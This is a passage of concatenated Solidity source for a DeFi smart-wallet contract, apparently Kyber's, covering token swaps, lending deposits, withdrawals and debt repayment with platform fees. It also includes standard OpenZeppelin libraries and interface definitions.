(destAmount * (BPS - params.feeBps)) / BPS; } expectedRate = calcRateFromQty( params.srcAmount, destAmount, getDecimals(IERC20Ext(params.tradePath[0])), getDecimals(IERC20Ext(params.tradePath[params.tradePath.length - 1])) ); } /// @dev get expected in amount including the fee /// @return srcAmount expected aource amount /// @return expectedRate expected swap rate function getExpectedIn(ISmartWalletImplementation.GetExpectedInParams calldata params) external view override returns (uint256 srcAmount, uint256 expectedRate) { if (params.feeBps >= BPS) return (0, 0); // platform fee is too high uint256 actualDest = (params.feeMode == FeeMode.FROM_DEST) ? (params.destAmount * (BPS + params.feeBps)) / BPS : params.destAmount; try ISwap(params.swapContract).getExpectedIn( ISwap.GetExpectedInParams({ destAmount: actualDest, tradePath: params.tradePath, feeBps: params.feeMode == FeeMode.BY_PROTOCOL ? params.feeBps : 0, extraArgs: params.extraArgs }) ) returns (uint256 newSrcAmount) { srcAmount = newSrcAmount; } catch Error(string memory reason) { require(compareStrings(reason, "getExpectedIn_notSupported"), reason); srcAmount = defaultGetExpectedIn( params.swapContract, ISwap.GetExpectedInParams({ destAmount: actualDest, tradePath: params.tradePath, feeBps: params.feeMode == FeeMode.BY_PROTOCOL ? params.feeBps : 0, extraArgs: params.extraArgs }) ); } if (params.feeMode == FeeMode.FROM_SOURCE) { srcAmount = (srcAmount * (BPS + params.feeBps)) / BPS; } expectedRate = calcRateFromQty( srcAmount, params.destAmount, getDecimals(IERC20Ext(params.tradePath[0])), getDecimals(IERC20Ext(params.tradePath[params.tradePath.length - 1])) ); } function defaultGetExpectedIn(address swapContract, ISwap.GetExpectedInParams memory params) private view returns (uint256 srcAmount) { uint8 srcDecimal = 18; if (params.tradePath[0] != address(ETH_TOKEN_ADDRESS)) { srcDecimal = IERC20Ext(params.tradePath[0]).decimals(); } if (srcDecimal > 3) { srcDecimal = srcDecimal - 3; } srcAmount = 1 * (10**srcDecimal); // Use a 0.001 as base uint256 lastGoodSrcAmount = 0; for (uint256 i = 0; i < 10; i++) { try ISwap(swapContract).getExpectedReturn( ISwap.GetExpectedReturnParams({ srcAmount: srcAmount, tradePath: params.tradePath, feeBps: params.feeBps, extraArgs: params.extraArgs }) ) returns (uint256 newDestAmount) { if (newDestAmount != 0) { (lastGoodSrcAmount, srcAmount) = ( srcAmount, (srcAmount * params.destAmount) / newDestAmount ); continue; } } catch {} // If there's an error or newDestAmount == 0, try something closer to lastGoodSrcAmount srcAmount = (srcAmount + lastGoodSrcAmount) / 2; } // Precision check uint256 destAmount = ISwap(swapContract).getExpectedReturn( ISwap.GetExpectedReturnParams({ srcAmount: srcAmount, tradePath: params.tradePath, feeBps: params.feeBps, extraArgs: params.extraArgs }) ); uint256 diff; if (destAmount > params.destAmount) { diff = destAmount - params.destAmount; } else { diff = params.destAmount - destAmount; } // Telerate a 5% difference require(diff < params.destAmount / 20, "getExpectedIn_noResult"); } /// @dev swap using particular swap contract /// @return destAmount actual dest amount function swap(ISmartWalletImplementation.SwapParams calldata params) external payable override nonReentrant returns (uint256 destAmount) { destAmount = swapInternal( params.swapContract, params.srcAmount, params.minDestAmount, params.tradePath, msg.sender, params.feeMode, params.feeBps, params.platformWallet, params.extraArgs ); emit Swap( msg.sender, params.swapContract, params.tradePath, params.srcAmount, destAmount, params.feeMode, params.feeBps, params.platformWallet ); } /// @dev swap then deposit to platform /// if tradePath has only 1 token, don't need to do swap /// @return destAmount actual dest amount function swapAndDeposit(ISmartWalletImplementation.SwapAndDepositParams calldata params) external payable override nonReentrant returns (uint256 destAmount) { require(params.tradePath.length >= 1, "invalid tradePath"); require(supportedLendings.contains(params.lendingContract), "unsupported lending"); if (params.tradePath.length == 1) { // just collect src token, no need to swap validateSourceAmount(params.tradePath[0], params.srcAmount); destAmount = safeTransferWithFee( msg.sender, params.lendingContract, params.tradePath[0], params.srcAmount, // Not taking lending fee 0, params.platformWallet ); } else { destAmount = swapInternal( params.swapContract, params.srcAmount, params.minDestAmount, params.tradePath, params.lendingContract, params.feeMode, params.feeBps, params.platformWallet, params.extraArgs ); } // eth or token already transferred to the address ILending(params.lendingContract).depositTo( msg.sender, IERC20Ext(params.tradePath[params.tradePath.length - 1]), destAmount ); emit SwapAndDeposit( msg.sender, params.swapContract, params.lendingContract, params.tradePath, params.srcAmount, destAmount, params.feeMode, params.feeBps, params.platformWallet ); } /// @dev withdraw token from Lending platforms (AAVE, COMPOUND) /// @return returnedAmount returns the amount withdrawn to the user function withdrawFromLendingPlatform( ISmartWalletImplementation.WithdrawFromLendingPlatformParams calldata params ) external override nonReentrant returns (uint256 returnedAmount) { require(supportedLendings.contains(params.lendingContract), "unsupported lending"); IERC20Ext lendingToken = IERC20Ext( ILending(params.lendingContract).getLendingToken(params.token) ); require(lendingToken != IERC20Ext(0), "unsupported token"); // AAVE aToken's transfer logic could have rounding errors uint256 tokenBalanceBefore = lendingToken.balanceOf(params.lendingContract); lendingToken.safeTransferFrom(msg.sender, params.lendingContract, params.amount); uint256 tokenBalanceAfter = lendingToken.balanceOf(params.lendingContract); returnedAmount = ILending(params.lendingContract).withdrawFrom( msg.sender, params.token, tokenBalanceAfter.sub(tokenBalanceBefore), params.minReturn ); require(returnedAmount >= params.minReturn, "low returned amount"); emit WithdrawFromLending( msg.sender, params.lendingContract, params.token, params.amount, params.minReturn, returnedAmount ); } /// @dev swap and repay borrow for sender function swapAndRepay(ISmartWalletImplementation.SwapAndRepayParams calldata params) external payable override nonReentrant returns (uint256 destAmount) { require(params.tradePath.length >= 1, "invalid tradePath"); require(supportedLendings.contains(params.lendingContract), "unsupported lending"); // use user debt value if debt is <= payAmount // user can pay all debt by putting really high payAmount as param uint256 debt = ILending(params.lendingContract).getUserDebtCurrent( params.tradePath[params.tradePath.length - 1], msg.sender ); uint256 actualPayAmount = debt >= params.payAmount ? params.payAmount : debt; if (params.tradePath.length == 1) { // just collect src token, no need to swap validateSourceAmount(params.tradePath[0], params.srcAmount); destAmount = safeTransferWithFee( msg.sender, params.lendingContract, params.tradePath[0], params.srcAmount, // Not taking repay fee 0, params.platformWallet ); } else { destAmount = swapInternal( params.swapContract, params.srcAmount, actualPayAmount, params.tradePath, params.lendingContract, params.feeMode, params.feeBps, params.platformWallet, params.extraArgs ); } ILending(params.lendingContract).repayBorrowTo( msg.sender, IERC20Ext(params.tradePath[params.tradePath.length - 1]), destAmount, actualPayAmount, abi.encodePacked(params.rateMode) ); uint256 actualDebtPaid = debt.sub( ILending(params.lendingContract).getUserDebtCurrent( params.tradePath[params.tradePath.length - 1], msg.sender ) ); require(actualDebtPaid >= actualPayAmount, "low paid amount"); emit SwapAndRepay( msg.sender, params.swapContract, params.lendingContract, params.tradePath, params.srcAmount, destAmount, actualPayAmount, params.feeMode, params.feeBps, params.platformWallet ); } function swapInternal( address payable swapContract, uint256 srcAmount, uint256 minDestAmount, address[] calldata tradePath, address payable recipient, FeeMode feeMode, uint256 platformFee, address payable platformWallet, bytes calldata extraArgs ) internal returns (uint256 destAmount) { require(supportedSwaps.contains(swapContract), "unsupported swap"); require(tradePath.length >= 2, "invalid tradePath"); require(platformFee < BPS, "high platform fee"); validateSourceAmount(tradePath[0], srcAmount); uint256 actualSrcAmount = safeTransferWithFee( msg.sender, swapContract, tradePath[0], srcAmount, feeMode == FeeMode.FROM_SOURCE ? platformFee : 0, platformWallet ); { // to avoid stack too deep // who will receive the swapped token address _recipient = feeMode == FeeMode.FROM_DEST ? address(this) : recipient; destAmount = ISwap(swapContract).swap( ISwap.SwapParams({ srcAmount: actualSrcAmount, minDestAmount: minDestAmount, tradePath: tradePath, recipient: _recipient, feeBps: feeMode == FeeMode.BY_PROTOCOL ? platformFee : 0, feeReceiver: platformWallet, extraArgs: extraArgs }) ); } if (feeMode == FeeMode.FROM_DEST) { destAmount = safeTransferWithFee( address(this), recipient, tradePath[tradePath.length - 1], destAmount, platformFee, platformWallet ); } require(destAmount >= minDestAmount, "low return"); } function validateSourceAmount(address srcToken, uint256 srcAmount) internal { if (srcToken == address(ETH_TOKEN_ADDRESS)) { require(msg.value == srcAmount, "wrong msg value"); } else { require(msg.value == 0, "bad msg value"); } } function transferToken( address payable to, IERC20Ext token, uint256 amount ) internal { if (amount == 0) return; if (token == ETH_TOKEN_ADDRESS) { (bool success, ) = to.call{value: amount}(""); require(success, "transfer failed"); } else { token.safeTransfer(to, amount); } } function safeTransferWithFee( address payable from, address payable to, address token, uint256 amount, uint256 platformFeeBps, address payable platformWallet ) internal returns (uint256 amountTransferred) { uint256 fee = amount.mul(platformFeeBps).div(BPS); uint256 amountAfterFee = amount.sub(fee); IERC20Ext tokenErc = IERC20Ext(token); if (tokenErc == ETH_TOKEN_ADDRESS) { (bool success, ) = to.call{value: amountAfterFee}(""); require(success, "transfer failed"); amountTransferred = amountAfterFee; } else { uint256 balanceBefore = tokenErc.balanceOf(to); if (from != address(this)) { // case transfer from another address, need to transfer fee to this proxy contract tokenErc.safeTransferFrom(from, to, amountAfterFee); if (fee > 0) { tokenErc.safeTransferFrom(from, address(this), fee); } } else { tokenErc.safeTransfer(to, amountAfterFee); } amountTransferred = tokenErc.balanceOf(to).sub(balanceBefore); } addFeeToPlatform(platformWallet, tokenErc, fee); } function addFeeToPlatform( address payable platformWallet, IERC20Ext token, uint256 amount ) internal { if (amount > 0) { require(supportedPlatformWallets.contains(platformWallet), "unsupported platform"); platformWalletFees[platformWallet][token] = platformWalletFees[platformWallet][token] .add(amount); } } function compareStrings(string memory a, string memory b) private pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Interface extending ERC20 standard to include decimals() as * it is optional in the OpenZeppelin IERC20 interface. */ interface IERC20Ext is IERC20 { /** * @dev This function is required as Kyber requires to interact * with token.decimals() with many of its operations. */ function decimals() external view returns (uint8 digits); } pragma solidity 0.7.6; pragma abicoder v2; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; interface ISmartWalletImplementation { enum FeeMode { FROM_SOURCE, FROM_DEST, BY_PROTOCOL } event Swap( address indexed trader, address indexed swapContract, address[] tradePath, uint256 srcAmount, uint256 destAmount, FeeMode feeMode, uint256 feeBps, address platformWallet ); event SwapAndDeposit( address indexed trader, address indexed swapContract, address indexed lendingContract, address[] tradePath, uint256 srcAmount, uint256 destAmount, FeeMode feeMode, uint256 feeBps, address platformWallet ); event WithdrawFromLending( address indexed trader, address indexed lendingContract, IERC20Ext token, uint256 amount, uint256 minReturn, uint256 actualReturnAmount ); event SwapAndRepay( address indexed trader, address indexed swapContract, address indexed lendingContract, address[] tradePath, uint256 srcAmount, uint256 destAmount, uint256 payAmount, FeeMode feeMode, uint256 feeBps, address platformWallet ); /// @param swapContract swap contract /// @param srcAmount amount of src token /// @param tradePath path of the trade on Uniswap /// @param platformFee fee if swapping feeMode = platformFee / BPS, feeBps = platformFee % BPS /// @param extraArgs extra data needed for swap on particular platforms struct GetExpectedReturnParams { address payable swapContract; uint256 srcAmount; address[] tradePath; FeeMode feeMode; uint256 feeBps; bytes extraArgs; } function getExpectedReturn(GetExpectedReturnParams calldata params) external view returns (uint256 destAmount, uint256 expectedRate); struct GetExpectedInParams { address payable swapContract; uint256 destAmount; address[] tradePath; FeeMode feeMode; uint256 feeBps; bytes extraArgs; } function getExpectedIn(GetExpectedInParams calldata params) external view returns (uint256 srcAmount, uint256 expectedRate); /// @param swapContract swap contract /// @param srcAmount amount of src token /// @param minDestAmount minimal accepted dest amount /// @param tradePath path of the trade on Uniswap /// @param feeMode fee mode /// @param feeBps fee bps /// @param platformWallet wallet to receive fee /// @param extraArgs extra data needed for swap on particular platforms struct SwapParams { address payable swapContract; uint256 srcAmount; uint256 minDestAmount; address[] tradePath; FeeMode feeMode; uint256 feeBps; address payable platformWallet; bytes extraArgs; } function swap(SwapParams calldata params) external payable returns (uint256 destAmount); /// @param swapContract swap contract /// @param lendingContract lending contract /// @param srcAmount amount of src token /// @param minDestAmount minimal accepted dest amount /// @param tradePath path of the trade on Uniswap /// @param feeMode fee mode /// @param feeBps fee bps /// @param platformWallet wallet to receive fee /// @param extraArgs extra data needed for swap on particular platforms struct SwapAndDepositParams { address payable swapContract; address payable lendingContract; uint256 srcAmount; uint256 minDestAmount; address[] tradePath; FeeMode feeMode; uint256 feeBps; address payable platformWallet; bytes extraArgs; } function swapAndDeposit(SwapAndDepositParams calldata params) external payable returns (uint256 destAmount); /// @param lendingContract lending contract to withdraw token /// @param token underlying token to withdraw, e.g ETH, USDT, DAI /// @param amount amount of cToken (COMPOUND) or aToken (AAVE) to withdraw /// @param minReturn minimum amount of underlying tokens to return struct WithdrawFromLendingPlatformParams { address payable lendingContract; IERC20Ext token; uint256 amount; uint256 minReturn; } function withdrawFromLendingPlatform(WithdrawFromLendingPlatformParams calldata params) external returns (uint256 returnedAmount); /// @param swapContract swap contract /// @param lendingContract lending contract /// @param srcAmount amount of src token /// @param payAmount: amount that user wants to pay, if the dest amount (after swap) is higher, /// the remain amount will be sent back to user's wallet /// @param tradePath path of the trade on Uniswap /// @param rateMode rate mode for aave v2 /// @param feeMode fee mode /// @param feeBps fee bps /// @param platformWallet wallet to receive fee /// @param extraArgs extra data needed for swap on particular platforms struct SwapAndRepayParams { address payable swapContract; address payable lendingContract; uint256 srcAmount; uint256 payAmount; address[] tradePath; uint256 rateMode; // for aave v2 FeeMode feeMode; uint256 feeBps; address payable platformWallet; bytes extraArgs; } function swapAndRepay(SwapAndRepayParams calldata params) external payable returns (uint256 destAmount); function claimPlatformFees(address[] calldata platformWallets, IERC20Ext[] calldata tokens) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "@kyber.network/utils-sc/contracts/Utils.sol"; import "@kyber.network/utils-sc/contracts/Withdrawable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; contract SmartWalletStorage is Utils, Withdrawable, ReentrancyGuard { uint256 internal constant MAX_AMOUNT = type(uint256).max; mapping(address => mapping(IERC20Ext => uint256)) public platformWalletFees; EnumerableSet.AddressSet internal supportedPlatformWallets; EnumerableSet.AddressSet internal supportedSwaps; EnumerableSet.AddressSet internal supportedLendings; // [EIP-1967] bytes32(uint256(keccak256("SmartWalletImplementation")) - 1) bytes32 internal constant IMPLEMENTATION = 0x7cf58d76330f82325c2a503c72b55abca3eb533fadde43d95e3c0cceb1583e99; constructor(address _admin) Withdrawable(_admin) {} } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; interface ISwap { struct GetExpectedReturnParams { uint256 srcAmount; address[] tradePath; uint256 feeBps; bytes extraArgs; } function getExpectedReturn(GetExpectedReturnParams calldata params) external view returns (uint256 destAmount); struct GetExpectedInParams { uint256 destAmount; address[] tradePath; uint256 feeBps; bytes extraArgs; } function getExpectedIn(GetExpectedInParams calldata params) external view returns (uint256 srcAmount); struct SwapParams { uint256 srcAmount; uint256 minDestAmount; address[] tradePath; address recipient; uint256 feeBps; address payable feeReceiver; bytes extraArgs; } function swap(SwapParams calldata params) external payable returns (uint256 destAmount); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; interface ILending { function depositTo( address payable onBehalfOf, IERC20Ext token, uint256 amount ) external; function withdrawFrom( address payable onBehalfOf, IERC20Ext token, uint256 amount, uint256 minReturn ) external returns (uint256 returnedAmount); function repayBorrowTo( address payable onBehalfOf, IERC20Ext token, uint256 amount, uint256 payAmount, bytes calldata extraArgs // for extra data .i.e aave rateMode ) external; function getUserDebtCurrent(address _reserve, address _user) external returns (uint256 debt); function getLendingToken(IERC20Ext token) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 